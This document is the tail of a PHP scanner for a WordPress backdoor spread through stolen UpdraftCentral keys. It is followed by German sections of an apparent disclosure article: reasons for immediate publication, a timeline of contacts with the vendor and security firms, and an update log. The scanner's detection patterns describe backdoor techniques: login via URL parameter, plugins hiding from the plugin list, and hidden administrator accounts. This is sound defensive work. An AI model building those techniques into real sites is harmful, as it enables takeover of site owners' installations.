$logs_in_from_url = function ( $code ) {
	return false !== strpos( $code, '$_GET' ) && false !== strpos( $code, 'wp_set_auth_cookie' );
};
// A plugin that removes itself from the WordPress plugin list, as Site Health Cache and doctor-connectivity-query do.
$hides_itself = function ( $code ) {
	return preg_match( '/add_filter\(\s*[\'"]all_plugins[\'"]/', $code )
		&& preg_match( '/plugin_basename\(\s*__FILE__\s*\)/', $code )
		&& preg_match( '/unset\(\s*\$\w+\[\s*\$\w+\s*\]\s*\)/', $code );
};
$plugin_hits = 0;
$files = array_merge(
	(array) glob( WP_PLUGIN_DIR . '/*/*.php' ),
	(array) glob( WPMU_PLUGIN_DIR . '/*.php' ),
	(array) glob( WP_CONTENT_DIR . '/upgrade/*/*.php' ),
	(array) glob( WP_CONTENT_DIR . '/upgrade/*/*/*.php' )
);
foreach ( $files as $file ) {
	$code = (string) @file_get_contents( $file, false, null, 0, 200000 );
	$where = 0 === strpos( $file, WP_CONTENT_DIR . '/upgrade/' ) ? ' (left in wp-content/upgrade by a pushed plugin; the install may have failed)' : '';
	if ( $is_backdoor( $code ) ) {
		$report( 'ALERT', "Backdoor plugin file: $file$where" . ( $hides_itself( $code ) ? ' It hides itself from the plugin list.' : '' ) );
		$plugin_hits++;
	} elseif ( $logs_in_from_url( $code ) ) {
		$report( 'WARN', "Plugin logs visitors in based on a URL parameter: $file$where. Make sure you know it." . ( $hides_itself( $code ) ? ' It also hides itself from the plugin list.' : '' ) );
		$plugin_hits++;
	} elseif ( $hides_itself( $code ) ) {
		$report( 'WARN', "Plugin hides itself from the WordPress plugin list: $file$where. Some management plugins (e.g. MainWP Child) can do this on purpose; make sure you know it." );
		$plugin_hits++;
	}
}
if ( ! $plugin_hits ) $report( 'OK', 'No backdoor plugin files found.' );

// 4. Options the backdoor leaves behind.
global $wpdb;
$option_hits = 0;
// First variant: most plugin names end in three hex characters, but not all (query-shelf), so a name
// without them counts only when its plugin is gone or is the backdoor itself.
foreach ( $wpdb->get_col( "SELECT option_name FROM {$wpdb->options} WHERE option_name REGEXP '^[a-z]+_[a-z]+(_[0-9a-f]{3})?_(sync_token|setup_stamp)$'" ) as $name ) {
	$slug = str_replace( '_', '-', preg_replace( '/_(sync_token|setup_stamp)$/', '', $name ) );
	$main = WP_PLUGIN_DIR . "/$slug/$slug.php";
	if ( is_file( $main ) && ! $is_backdoor( (string) @file_get_contents( $main, false, null, 0, 200000 ) ) ) continue;
	$report( 'ALERT', "Backdoor option in the database: $name" );
	$option_hits++;
}
// The working variant stores <slug>_installed and the ID of its hidden administrator in <slug>_uid.
// Plugin names vary, so match the suffix and look at the plugin with the same slug.
foreach ( $wpdb->get_results( "SELECT option_name, option_value FROM {$wpdb->options} WHERE option_name LIKE '%\\_uid' OR option_name LIKE '%\\_installed'" ) as $o ) {
	$is_uid = '_uid' === substr( $o->option_name, -4 );
	$slug = str_replace( '_', '-', substr( $o->option_name, 0, $is_uid ? -4 : -10 ) );
	$main = WP_PLUGIN_DIR . "/$slug/$slug.php";
	$code = is_file( $main ) ? (string) @file_get_contents( $main, false, null, 0, 200000 ) : '';
	$u = ( $is_uid && ctype_digit( (string) $o->option_value ) ) ? $wpdb->get_row( $wpdb->prepare( "SELECT user_login, user_email FROM {$wpdb->users} WHERE ID = %d", $o->option_value ) ) : null;
	$who = $u ? " (user {$u->user_login} <{$u->user_email}>)" : '';
	if ( ( $u && preg_match( '/@example\.(com|org)$/', $u->user_email ) ) || ( $code && ( $is_backdoor( $code ) || $logs_in_from_url( $code ) ) ) ) {
		$report( 'ALERT', "Backdoor option in the database: {$o->option_name} = {$o->option_value}$who" );
		$option_hits++;
	} elseif ( $is_uid && $u && ! is_dir( WP_PLUGIN_DIR . "/$slug" ) ) {
		$report( 'WARN', "Option {$o->option_name} points to an account, but plugin $slug is gone$who. Make sure you know this account." );
		$option_hits++;
	}
}
if ( ! $option_hits ) $report( 'OK', 'No backdoor options in the database.' );

// 5. Accounts the backdoor creates, and non-admins with admin-level capabilities.
// Read users straight from the table: the second variant tries to hide its account from get_users() and user counts.
$user_hits = 0;
$cap_key = $wpdb->get_blog_prefix() . 'capabilities';
$flagged = array();
foreach ( $wpdb->get_results( "SELECT ID, user_login, user_email, display_name, user_registered FROM {$wpdb->users} WHERE user_email LIKE '%@example.org' OR user_email LIKE '%@example.com' OR display_name IN ('Site Tools', 'System Team', 'Web Tech', 'System Staff', 'System Ops', 'Cms Tech')" ) as $user ) {
	// Bots also register shop customers at @example.com, so only admin-level or recent accounts are an alert.
	$caps = (array) get_user_meta( $user->ID, $cap_key, true );
	$admin_level = ! empty( $caps['administrator'] ) || ! empty( $caps['manage_options'] ) || ! empty( $caps['install_plugins'] );
	if ( $admin_level || $user->user_registered >= '2026-10-17' ) {
		$report( 'ALERT', "Backdoor-style account: {$user->user_login} <{$user->user_email}> \"{$user->display_name}\", registered {$user->user_registered}" . ( $admin_level ? ', with admin-level rights' : '' ) );
	} else {
		$report( 'WARN', "Account {$user->user_login} <{$user->user_email}> \"{$user->display_name}\" matches the backdoor pattern but has no admin-level rights and was registered on {$user->user_registered}. Probably unrelated; make sure you know it." );
	}
	$flagged[ $user->ID ] = true;
	$user_hits++;
}
foreach ( $wpdb->get_results( $wpdb->prepare( "SELECT u.ID, u.user_login, u.user_email, u.user_registered FROM {$wpdb->users} u JOIN {$wpdb->usermeta} m ON m.user_id = u.ID AND m.meta_key = %s WHERE u.user_registered >= '2026-10-17' AND m.meta_value LIKE %s", $cap_key, '%administrator%' ) ) as $user ) {
	if ( isset( $flagged[ $user->ID ] ) ) continue;
	$report( 'WARN', "Administrator created on {$user->user_registered}: {$user->user_login} <{$user->user_email}>. Make sure you know this account." );
	$user_hits++;
}
foreach ( get_users( array( 'fields' => array( 'ID', 'user_login', 'user_email', 'display_name' ) ) ) as $user ) {
	if ( isset( $flagged[ $user->ID ] ) ) continue;
	$caps = (array) get_user_meta( $user->ID, $cap_key, true );
	$extra = array_intersect( array( 'manage_options', 'install_plugins' ), array_keys( array_filter( $caps ) ) );
	if ( $extra && empty( $caps['administrator'] ) ) {
		$report( 'WARN', "Non-administrator {$user->user_login} has extra capabilities: " . implode( ', ', $extra ) );
		$user_hits++;
	}
}
if ( ! $user_hits ) $report( 'OK', 'No backdoor accounts or hidden admin-level users.' );

echo "\n";
if ( $alerts ) {
	echo "RESULT: traces of the attack found. Delete the UpdraftCentral connection, remove the backdoor and check users and passwords.\n";
} elseif ( $warnings ) {
	echo "RESULT: no backdoor found, but there are warnings above. If the site is connected to UpdraftCentral, delete the connection now.\n";
} else {
	echo "RESULT: no traces found.\n";
}

Warum wir sofort veröffentlichen

Responsible Disclosure bedeutet, dem Hersteller Zeit für eine Korrektur zu geben und Details erst danach zu veröffentlichen. Dafür gibt es hier leider keinen Grund. Der Angreifer verbreitet Hintertüren bereits aktiv in WordPress-Installationen, und ein Fix des Herstellers hilft den Betreibern nicht, solange der Angreifer gültige Schlüssel hat. Der einzige wirksame Schutz ist, die UpdraftCentral-Verbindung zu entfernen und die Website zu prüfen, und das kann jeder Administrator sofort tun.

Die Veröffentlichung hilft dem Angreifer nicht. Er braucht gültige Schlüssel, die er bereits hat, und nichts in diesem Artikel gibt ihm einen neuen Angriffsweg. Den Verteidigern gibt sie dagegen eine Anleitung zum Schutz. Die Hintertür stammt zudem aus einem Generator, der für jede Website andere Namen, Tokens und Passwörter erzeugt, was auf ein Werkzeug für eine große Zahl von Websites hindeutet. Jede Stunde Warten gibt dem Angreifer Zeit für weitere Websites.

Kommunikation mit dem Hersteller und Sicherheitsfirmen

  • 19.10.2026: Meldung an TeamUpdraft über das Premium-Support-Formular, mit Logs und einer Analyse von Website A
  • 19.10.2026: Nachtrag zu den Angriffen auf die Websites B und C, die zweite Probe und ein Vergleich des User-Agents mit dem echten Dashboard
  • 19.10.2026: Wordfence und Patchstack informiert, damit sie eine Erkennung ergänzen und weitere Betreiber warnen können
  • 19.10.2026: TeamUpdraft veröffentlichte eine Stellungnahme zum Sicherheitsvorfall und bestätigte den Zugriff auf die Kundendatenbank einschließlich der UpdraftCentral-Schlüssel
  • 19.10.2026: In seiner Antwort auf unsere Meldung bestätigte TeamUpdraft, dass es die UpdraftCentral-Schlüssel als kompromittiert betrachtet, und bittet alle UpdraftCentral-Kunden, jede Website zu trennen und zu prüfen. Die Notfallversion von UpdraftPlus war bei Redaktionsschluss noch nicht erschienen (aktuell ist 1.26.11 vom 16.10.).
  • 19.10.2026: Patchstack veröffentlichte eine eigene Analyse und bestätigte beide IP-Adressen des Angreifers. Wordfence und Patchstack baten um Proben.
  • 19.10.2026: Wordfence und Patchstack haben wir die Proben von unseren Websites geschickt und später auch die Indikatoren der funktionierenden Variante, die uns ein weiterer Administrator zur Verfügung gestellt hat.
  • 19.10.2026: Mit Zustimmung zweier weiterer betroffener Administratoren haben wir Wordfence und Patchstack deren Proben geschickt, einschließlich der minimalen dritten Variante, sowie die Log-Einträge zum Austausch der Hintertür.
  • 19.10.2026: TeamUpdraft beantwortete unsere Nachfragen. Der Angreifer hatte ab dem Abend des 17.10. (Samstag) Zugang zu teamupdraft.com; der Hersteller bemerkte am Abend des 18.10. (Sonntag) verdächtige Aktivitäten und bestätigte den Vorfall gegen 20:00 BST. Er sperrte den Zugang, meldete alle Konten ab und begann, Schlüssel und Zugangsdaten auszutauschen. TOTP-Geheimnisse lassen sich laut Hersteller nicht als Hash speichern, bei einem Datenbankleck muss man also auch mit ihnen rechnen. Als Notfallversion nannte er 2.26.12, die die Schlüssel jedoch nicht löscht (siehe oben). Ob er Kompromittierungsindikatoren veröffentlicht, weiß er noch nicht.
  • 19.10.2026: Wir haben TeamUpdraft darauf hingewiesen, dass Version 2.26.12 die Schlüssel nicht löscht und dass die Grenze 18.10. 12:07 UTC in Version 1.26.13 nicht zu ihrer Stellungnahme passt, und gefragt, ob 2.26.13 für Premium-Kunden verfügbar ist.
  • 20.10.2026: Wir haben Wordfence und Patchstack mitgeteilt, dass Version 2.26.12 die Schlüssel nicht löscht, und sie auf das vorausgewählte Kontrollkästchen „Add this website to UpdraftCentral“ sowie eine weitere Probe der ersten Variante hingewiesen.
  • 20.10.2026: Mit Zustimmung eines weiteren Administrators haben wir Wordfence und Patchstack drei Proben von einer Website geschickt, darunter die minimale Variante, die sich aus der Plugin-Liste versteckt.
  • 19.10.2026: Wordfence veröffentlichte einen eigenen Hinweis, der unsere Analyse zitiert, und eine Firewall-Regel auch für die kostenlose Version. Weder die Regel noch der Hinweis berücksichtigen bisher, dass 1.26.12 / 2.26.12 die Schlüssel nicht löscht.
  • 20.10.2026: Wir haben Wordfence darauf hingewiesen, dass ihre Regel die Versionen 1.26.12 / 2.26.12 nicht abdeckt, die die Schlüssel nicht löschen, und dass die Grenze der Sperrung 12:07 UTC ist. Wordfence und Patchstack erhielten die Indikatoren der heutigen Versuche, die Hintertüren zu benutzen.
  • 20.10.2026: Mit Zustimmung dreier weiterer Administratoren haben wir Wordfence und Patchstack zwölf Proben geschickt, darunter eine zweite Kopie der versteckten minimalen Variante.
  • 20.10.2026: TeamUpdraft ergänzte seine Stellungnahme um den Hinweis, dass Version 1.26.13 / 2.26.13, veröffentlicht am 19.10. kurz nach 22:00 BST, die UpdraftCentral-Schlüssel gesperrt habe und der unbefugte Zugriff beendet sei. In der Anleitung empfiehlt der Hersteller aber weiterhin 1.26.12 / 2.26.12. Auf unsere Frage, auf welche Version man aktualisieren soll, antwortete er mit einem Link auf diese Stellungnahme.
  • 21.10.2026: Wir haben TeamUpdraft darauf hingewiesen, dass der Angreifer auch am Morgen des 21.10. UpdraftCentral-Befehle schickte, dass ihre Anleitung weiterhin 1.26.12 / 2.26.12 nennt und dass die Premium-Version das Passwort des teamupdraft.com-Kontos in der Datenbank speichern kann. Der Hersteller hatte uns geantwortet, dass er unseren Artikel an seine Entwickler weitergegeben hat.
  • 21.10.2026: In Aktualisierungen seiner Stellungnahme gab TeamUpdraft an, dass der Angreifer mit einem kompromittierten Schlüssel in teamupdraft.com gelangt sei, dass der Hersteller eine externe Sicherheitsfirma hinzugezogen und die Polizei eingeschaltet habe und dass WordPress.org Version 1.26.13 automatisch an alle Websites verteilt habe. Premium-Nutzer fordert er auf, ihre Websites zu prüfen, auch wenn sie UpdraftCentral nie benutzt haben. Laut Hersteller deuten das Tempo des Angriffs und die anfangs fehlerhaften Hintertüren darauf hin, dass der Angreifer KI eingesetzt hat. Auf unsere letzte Nachricht antwortete der Hersteller, die Anleitung sei bereits angepasst und er rate allen Kunden, ihr teamupdraft.com-Passwort zu ändern. In den Schritten der Anleitung stand am 22.10. allerdings weiterhin 1.26.12 / 2.26.12, und zur Grenze der Sperrung äußerte er sich nicht. Beides hat der Hersteller bis zum 23.10. korrigiert (siehe unten).
  • 22.10.2026: Mit Zustimmung eines weiteren Administrators haben wir Wordfence und Patchstack die Probe cache-jack-c7a und den Log-Eintrag des Versuchs des Angreifers geschickt, sie am 20.10. zu benutzen.
  • 23.10.2026: TeamUpdraft korrigierte seine Stellungnahme (zuletzt aktualisiert am 23.10. um 05:26 BST). Die Schritte nennen jetzt 1.26.13 / 2.26.13, und als Grenze für die automatisch getrennten Verbindungen gibt die Stellungnahme den 18.10. um 13:07 BST (14:07 MESZ) an, was dem Code entspricht. Der Hersteller hat uns über die Korrektur informiert und um eine Anpassung dieses Artikels gebeten.

Wenn Sie einen ähnlichen Angriff beobachtet haben, schreiben Sie uns an info@nethemba.com. Proben und weiteres technisches Material stellen wir dem Hersteller und Sicherheitsteams auf Anfrage zur Verfügung.

Aktualisierungen

  • 19.10.2026: Erstveröffentlichung.
  • 19.10.2026: Hinweis, dass das UpdraftCentral-Log nur 50 Ereignisse speichert, plus Prüfung des Access-Logs; Empfehlung, die Verbindung nicht neu anzulegen; Vorgehen bei vollständig kompromittierten Websites; Präzisierung der von CVE-2026-10795 betroffenen Versionen.
  • 19.10.2026: Stellungnahme des Herstellers ergänzt, der den Abfluss der Schlüssel von teamupdraft.com bestätigt hat; Empfehlungen, Fix und Umfang aktualisiert.
  • 19.10.2026 (abends): zweite Variante mit verstecktem Administrator, weitere Proben der ersten Variante, zweite IP-Adresse, Link zur Analyse von Patchstack, Prüfskript Version 2.
  • 19.10.2026: direkte Antwort des Herstellers auf unsere Meldung ergänzt.
  • 19.10.2026: funktionierende Variante im Umlauf bestätigt, weitere Proben beider Varianten, Prüfung der Auslöser im Access-Log, Schutz durch ein nicht beschreibbares Plugin-Verzeichnis, Auskundschaftung am 23.09., Prüfskript Version 3.
  • 19.10.2026: Analyse einer Probe der funktionierenden Variante (das Verstecken des Kontos funktioniert nicht), minimale dritte Variante, weitere Probe der ersten Variante, Hinweis auf wiederholte Installationen, Prüfskript Version 4.
  • 19.10.2026: der Angreifer kommt zurück (Austausch der Hintertür per plugin.delete_plugin, Befehlsversuche auf unsere Websites bis in den Abend), Auswahl der Websites anhand der Liste in UpdraftCentral, Prüfskript Version 5.
  • 19.10.2026: Notfallversion des Herstellers (1.26.12 löscht keine Schlüssel, erst 1.26.13 funktioniert, aber nicht für Schlüssel vom 18.10. zwischen 14:07 und 23:00 MESZ), Antworten des Herstellers ergänzt.
  • 20.10.2026: ein UpdraftCentral-Schlüssel kann ohne Wissen des Betreibers entstehen (vorausgewähltes Kontrollkästchen in der Premium-Version), weitere Probe der ersten Variante, Hinweis zu IP-Adressen hinter einem Proxy, Prüfskript Version 6.
  • 20.10.2026: Prüfskript Version 7 unterscheidet ein fehlendes UpdraftCentral-Log.
  • 20.10.2026: versteckte Abwandlung der minimalen Variante, weitere Proben, mehrere Hintertüren auf einer Website, Prüfskript Version 8.
  • 20.10.2026: weitere Probe der ersten Variante (nav-hub).
  • 20.10.2026: zehn weitere Proben von drei Administratoren, funktionierende Hintertüren vor dem Absturz der Website, Bedeutung der Zeilen „Signature verification failed“, wiederkehrende Autorennamen.
  • 20.10.2026: Empfehlung, auch UpdraftPlus-Migrator-Schlüssel zu löschen, Prüfskript Version 9.
  • 20.10.2026: der Angreifer probiert die Auslöser entfernter Hintertüren (neue IP-Adressen), Korrektur: auch die kostenlose Version hat das vorausgewählte Kontrollkästchen, Bedeutung der Statuscodes im Access-Log, Link zum Hinweis von Wordfence und seiner Firewall-Regel, weitere Namen.
  • 20.10.2026: Präzisierung, wann ein UpdraftCentral-Schlüssel entsteht.
  • 21.10.2026: Stellungnahme des Herstellers vom 20.10. ergänzt, unsere Websites haben 2.26.13 erhalten, Hinweis auf das in der Datenbank gespeicherte Passwort des teamupdraft.com-Kontos.
  • 21.10.2026: der Angreifer schickt auch nach der Veröffentlichung von 1.26.13 UpdraftCentral-Befehle.
  • 21.10.2026: weitere Versuche, die Hintertüren zu benutzen (neue IP-Bereiche), möglicherweise zusammenhängende Abfragen der UpdraftPlus-Version.
  • 22.10.2026: neue Stellungnahmen des Herstellers vom 21.10. (über WordPress.org erzwungenes Update, externe Firma, Polizei).
  • 22.10.2026: in der Datenbank gespeichertes Passwort des teamupdraft.com-Kontos und wie man es entfernt, ein weiterer IP-Bereich bei den Versuchen, die Hintertüren zu benutzen, Prüfskript Version 10.
  • 22.10.2026: weitere Probe der ersten Variante (cache-jack-c7a).
  • 23.10.2026: ergänzt, wie oft das Passwort des teamupdraft.com-Kontos in der Datenbank bleibt.
  • 23.10.2026: Test eines Lesers und Stellungnahme des Herstellers zum in der Datenbank gespeicherten Passwort.
  • 26.10.2026: korrigierte Stellungnahme des Herstellers vom 23.10. (Versionen 1.26.13 / 2.26.13 in der Anleitung, Grenze 14:07 MESZ); betroffene Versionen, Fix und Kommunikation angepasst.

more insights